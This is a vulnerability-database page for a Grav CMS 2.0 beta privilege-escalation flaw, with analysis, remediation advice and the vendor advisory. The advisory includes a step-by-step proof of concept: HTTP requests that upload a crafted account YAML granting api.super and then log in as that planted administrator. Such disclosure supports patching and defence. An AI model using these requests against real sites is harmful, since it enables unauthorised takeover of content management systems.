Grav CMS CVE-2026-42844
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain API token with media.write
-
DeliveryCraft multipart POST with scope=users/anything
-
ExploitUpload malicious account YAML
-
ExecutionAuthenticate as planted super-admin
-
PersistAccess privileged API endpoints
-
ImpactExfiltrate/modify CMS data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V8 - Authorization Least privilege enforcement
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Authenticated API access with api.media.write permission granted to the attacker's user account. This requires the Grav API plugin to be enabled (user/config/plugins/api.yaml with enabled: true) and at least one user account configured with access.api.access: true and access.api.media.write: true in their user/accounts/<username>.yaml file. These are non-default settings that indicate the Grav installation is intentionally exposed for API-driven workflows (headless CMS, mobile app backend, third-party integrations). Default Grav installations without the API plugin enabled or with API authentication restricted to administrators are not exploitable. Additionally, the target must be running Grav 2.0.0-beta.2 (or another pre-patch 2.0 beta version prior to 2.0.0-beta.4) - Grav 1.x versions do not appear vulnerable based on available evidence. The attacker does not need existing admin privileges, network proximity, or user interaction; a valid low-privilege API token is the sole prerequisite. Factors limiting exploitation: beta version deployment (production environments typically avoid beta releases), API plugin adoption rate (not enabled by default), and credential requirement (unauthenticated remote exploitation is not possible). |
| Impact | Real-world risk is moderate-to-high for exposed Grav API installations, but exploitation window is narrow due to beta version scope. The attack requires authenticated API access with api.media.write permission, a non-default configuration that implies intentional API exposure. However, the privilege threshold is very low - media uploaders typically have limited permissions, making this a clean vertical escalation from restricted contributor to super-admin. The CVSS vector is not provided, but the attack chain maps to AV:N/AC:L/PR:L/UI:N - network-accessible, low complexity, authenticated with low privileges, no user interaction required. Post-exploitation impact is severe: api.super grants unrestricted API control, enabling content manipulation, user management, plugin/theme installation, and likely RCE via Twig template injection or malicious plugin uploads depending on enabled features. The advisory notes 'this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution.' No EPSS or KEV data is available (likely due to recent disclosure and beta-only affected versions), but publicly available exploit code exists (the advisory includes a four-step weaponizable PoC with HTTP request templates and screenshots proving super_admin=true escalation). Patch is available in 2.0.0-beta.4 via GitHub commit 97fc028, confirmed by vendor advisory GHSA-6xx2-m8wv-756h. Risk is mitigated by limited deployment of beta versions in production, but any organization running Grav 2.0 beta with API plugin enabled and media.write permissions granted to untrusted users faces immediate compromise risk. The fix is comprehensive (input validation, directory classification, extension allowlists) suggesting vendor treats this as high-severity privilege escalation. |
| Exploit ScenarioDerived | An attacker holding API credentials with media.write permission (e.g., a low-privilege content contributor account or compromised integration service token) authenticates to /api/v1/auth/token and obtains a bearer token. They craft a multipart/form-data POST request to /api/v1/blueprint-upload with destination=self@: and scope=users/anything, attaching a malicious pwned.yaml file containing email, fullname, plaintext password (Passw0rd!123), and access.api.super: true. The vulnerable BlueprintUploadController resolves the destination to user/accounts/ and writes pwned.yaml into that directory. The attacker then authenticates as username pwned with the planted password, and Grav's account subsystem validates the credentials and grants a new bearer token with super_admin=true. Using this elevated token, the attacker accesses /api/v1/system/info and other privileged endpoints to exfiltrate configuration, modify site content, create additional admin accounts, or install a malicious plugin containing a PHP webshell for persistent remote code execution. The entire attack completes in under 60 seconds using curl or Burp Suite with the advisory's step-by-step PoC. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 06, 2026
Privilege escalation in Grav CMS 2.0.0-beta.2 allows authenticated API users with minimal media.write permissions to fabricate super-admin accounts via arbitrary YAML file upload. The /api/v1/blueprint-upload endpoint accepts attacker-controlled destination and scope parameters that, when combined with specific values (destination=self@: and scope=users/anything), write files directly into user/accounts/. Because Grav parses YAML files in this directory as authoritative user accounts and accepts plaintext passwords on first login, attackers craft a new account with api.super privileges, then authenticate as that account to gain full administrative control. Publicly available exploit code exists (detailed PoC in vendor advisory). Vendor-released patch restricts accounts directory uploads to image-only extensions and blocks config-bearing file types (YAML, JSON, Twig) across all blueprint-upload targets.
RemediationAI
Upgrade to Grav CMS 2.0.0-beta.4 or later, which includes the fix from grav-plugin-api commit 97fc02844a35f743dfe93d34efd92d47eedd5bc5 (vendor advisory https://github.com/getgrav/grav/security/advisories/GHSA-6xx2-m8wv-756h, patch commit https://github.com/getgrav/grav-plugin-api/commit/97fc02844a35f743dfe93d34efd92d47eedd5bc5). The patch introduces three hardening layers: input validation rejecting path-traversal segments in destination parameter, directory classification identifying user/accounts/ as a protected target, and an image-only extension allowlist (jpg, jpeg, png, gif, webp, svg, avif, bmp, ico) restricting blueprint-upload writes to this directory. If immediate upgrade is not feasible, implement these compensating controls with noted trade-offs: (1) Disable the API plugin entirely via user/config/plugins/api.yaml (enabled: false) - this breaks all API integrations but eliminates the attack surface completely; (2) Audit and revoke api.media.write permissions from all API user accounts, granting only read-only access (api.media.read: true) - this prevents exploitation but disables legitimate media upload workflows via API; (3) Deploy a reverse proxy or web application firewall to block POST requests to /api/v1/blueprint-upload containing scope=users in the request body - this is fragile (bypassable via parameter encoding or alternate scope values that future locator bugs might resolve to user/accounts/) and requires regex inspection of multipart/form-data payloads. Note that generic filesystem permissions (chmod/chown on user/accounts/) do not mitigate this issue because the PHP process already requires write access to create legitimate user accounts. After patching, verify no unauthorized accounts exist by auditing user/accounts/*.yaml for unfamiliar usernames or accounts with access.api.super: true created during the vulnerability window.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Grav is a PHP-based flat-file CMS that stores user accounts as YAML files in user/accounts/, parsed at runtime as authoritative credential and permission data. The vulnerability affects the API plugin's BlueprintUploadController (pkg:composer/getgrav_grav < 2.0.0-beta.4), which routes file uploads through a stream locator pattern. The flaw is a path-traversal variant (CWE-269: Improper Privilege Management) where caller-controlled destination and scope parameters are concatenated without validating the resolved filesystem target against security boundaries. When scope=users/anything is combined with destination=self@:, the locator resolves to user/accounts/ instead of a scoped media directory. The endpoint lacks extension-based ACLs for this directory, so .yaml files are written alongside legitimate avatar images. Grav's account subsystem then reads any YAML file matching username.yaml as a valid account definition, including plaintext password and access.api.super fields. The commit diff shows the fix adds three controls: pre-locator traversal detection (assertSafeDestination rejecting ../segments and null bytes), post-resolution directory classification (classifyTargetDir identifying user/accounts/), and an image-only extension allowlist (ACCOUNTS_IMAGE_EXTENSIONS=[jpg,jpeg,png,gif,webp,svg,avif,bmp,ico]) enforced via guardConfigBearingTarget. Additionally, a global denylist (FORBIDDEN_EXTENSIONS=[yaml,yml,json,twig,env,neon,lock]) blocks config-bearing formats across all blueprint-upload targets to prevent future locator bugs from re-introducing the attack surface in user/config/ or plugin directories.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Primary rating from Vendor (https://github.com/getgrav/grav) · only source for this CVE.
CVSS VectorVendor: https://github.com/getgrav/grav
Lifecycle Timeline
2DescriptionCVE.org
Summary
In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges.
This results in full administrative compromise of the Grav API.
Details
The vulnerability is located in the API plugin's blueprint upload flow:
user/plugins/api/classes/Api/ApiRouter.php:261user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417user/plugins/api/classes/Api/Controllers/AuthController.php:41-55
The issue exists because /api/v1/blueprint-upload accepts caller-controlled destination and scope values and uses them to resolve the final filesystem write target.
When the request uses:
destination=self@:scope=users/anything
The server resolves the write target to the shared account directory:
user/accounts/The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext password: field on first login, an attacker can create a fully functional administrator account with api.super.
The required attacker privilege is low:
access:
api:
access: true
media:
write: truePoC
Step 1: Authenticate as the low-privileged API user
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close
{"username":"uploader","password":"Upload123A"}Extract:
UPLOADER_TOKEN = <access_token from response>Attachment:
<img width="1480" height="825" alt="login-uploader" src="https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541" />
Step 2: Upload a malicious account YAML file
POST /api/v1/blueprint-upload HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <UPLOADER_TOKEN>
Content-Type: multipart/form-data; boundary=----CodexBoundaryF01
Connection: close
------CodexBoundaryF01
Content-Disposition: form-data; name="destination"
self@:
------CodexBoundaryF01
Content-Disposition: form-data; name="scope"
users/anything
------CodexBoundaryF01
Content-Disposition: form-data; name="file"; filename="pwned.yaml"
Content-Type: text/yaml
email: attacker@example.com
fullname: attacker
title: Site Administrator
state: enabled
password: Passw0rd!123
access:
site:
login: true
api:
super: true
------CodexBoundaryF01--Expected result:
{
"data": [
{
"name": "pwned.yaml",
"path": "user/accounts/pwned.yaml"
}
]
}Attachment:
<img width="1484" height="797" alt="upload" src="https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f" />
Step 3: Log in as the newly created account
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close
{"username":"pwned","password":"Passw0rd!123"}Expected result:
{
"data": {
"user": {
"username": "pwned",
"super_admin": true
}
}
}Attachment:
<img width="1494" height="830" alt="pwned-login" src="https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe" />
Step 4: Verify privileged API access
GET /api/v1/system/info HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <PWNED_TOKEN>
Connection: closeExpected result:
The request succeeds and returns system-level information.
Attachment:
<img width="1480" height="831" alt="system-info" src="https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2" />
Impact
This is an authenticated vertical privilege-escalation vulnerability.
Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once api.super access is obtained, the attacker gains full control over the CMS management API and can:
- modify content
- alter configuration
- manage users
- install or update plugins/themes
- access system-level administration features
In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.
This issue was reproduced locally:
- the upload response returned
user/accounts/pwned.yaml - logging in as
pwnedsucceeded - the new account had
super_admin = true - privileged endpoints such as
/api/v1/system/infowere accessible
Executive ViewAI
Grav CMS 2.0.0-beta.2 contains a critical privilege escalation vulnerability that allows authenticated API users to create unauthorized super-admin accounts through malicious file uploads, directly compromising administrative access to affected content management systems. Organizations running this version face immediate risk of full system takeover by any user with minimal API permissions, requiring urgent patching to prevent unauthorized administrative access.
Apply vendor patch. If immediate patching is not feasible: (1) disable the /api/v1/blueprint-upload endpoint via web application firewall or reverse proxy rules; (2) restrict API access to trusted IP addresses only; (3) audit and remove any user accounts with api.super privileges created after the vulnerable version was deployed; (4) enforce mandatory password reset for all administrative accounts.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)CVE.org
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-6xx2-m8wv-756h
NVD
CVE.org
EPSS
VulDB
Exploit-DB